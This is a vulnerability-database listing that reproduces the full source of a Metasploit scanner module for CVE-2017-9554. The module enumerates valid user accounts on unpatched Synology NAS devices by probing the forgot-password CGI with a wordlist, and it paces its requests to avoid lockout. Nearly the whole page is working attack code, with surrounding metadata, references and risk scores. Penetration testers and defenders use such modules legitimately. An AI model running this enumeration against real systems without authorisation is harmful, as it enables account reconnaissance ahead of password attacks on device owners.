Lucene search
K

Synology Forget Password User Enumeration Scanner

🗓️ 21 May 2020 12:10:00Reported by h00die, Steve KaunType 
metasploit
 metasploit
🔗 www.rapid7.com👁 130 Views

This module attempts to enumerate users on Synology NAS by sending GET requests for the forgot password URL. The NAS will respond differently if a user is present or not. Vulnerable DSMs are DSM 6.1 < 6.1.3-15152, DSM 6.0 < 6.0.3-8754-4, and DSM 5.2 < 5.2-5967-04

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology Forget Password User Enumeration Scanner',
        'Description' => %q{
          This module attempts to enumerate users on the Synology NAS
          by sending GET requests for the forgot password URL.
          The Synology NAS will respond differently if a user is present or not.
          These count as login attempts, and the default is 10 logins in 5min to
          get a permanent block.  Set delay accordingly to avoid this, as default
          is permanent.
          Vulnerable DSMs are:
          DSM 6.1 < 6.1.3-15152
          DSM 6.0 < 6.0.3-8754-4
          DSM 5.2 < 5.2-5967-04
        },
        'Author' => [
          'h00die', # msf module
          'Steve Kaun' # POC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'EDB', '43455' ],
          [ 'CVE', '2017-9554' ],
          [ 'URL', 'https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM' ]
        ],
        'DisclosureDate' => '2011-01-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The path to users Synology Web Interface', '/']),
        OptPath.new('USER_FILE', [
          false, 'File containing users, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'unix_users.txt')
        ]),
        OptInt.new('DELAY', [true, 'Seconds delay to add to avoid lockout', 36])
      ]
    )
  end

  def run_host(_ip)
    @users_found = {}

    unless File.readable?(datastore['USER_FILE'])
      fail_with(Failure::BadConfig, 'USER_FILE can not be read')
    end
    users = File.new(datastore['USER_FILE']).read.split
    users.each do |user|
      do_enum(user)
      vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
      Rex.sleep(datastore['DELAY'])
    end

    if @users_found.empty?
      print_status("#{full_uri} - No users found.")
    else
      print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")
      report_note(
        host: rhost,
        port: rport,
        proto: 'tcp',
        sname: (ssl ? 'https' : 'http'),
        type: 'users',
        vhost: vhost,
        data: { users: @users_found.keys.join(', ') }
      )
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def do_enum(username)
    vprint_status("Attempting #{username}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
      'method' => 'GET',
      'vars_get' => {
        'user' => username
      }
    })
    unless res
      print_error('Connection to host refused')
      fail_with(Failure::Unreachable, 'Connection to host refused')
    end
    j = res.get_json_document
    if j['msg'] == 5
      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')
    end
    if j['msg'] == 3
      fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
    end
    if j['msg'] == 2 || j['msg'] == 1
      print_good("#{username} - #{j['info']}")
      @users_found[username] = :reported
      report_cred(
        ip: rhost,
        port: rport,
        service_name: (ssl ? 'https' : 'http'),
        proof: res.body
      )
    end
    # msg 1 means user can login to GUI
    # msg 2 means user exists but no GUI login
    # msg 3 means not supported/disabled/patched
    # msg 4 means no user
    # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
    #     count as lgin attempts.
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
    print_error('Connection to host refused')
    fail_with(Failure::Unreachable, 'Connection to host refused')
  rescue Timeout::Error, Errno::EPIPE
    fail_with(Failure::Unreachable, 'Connection issue')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 11:45Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
CVSS 35.3
EPSS0.75016
130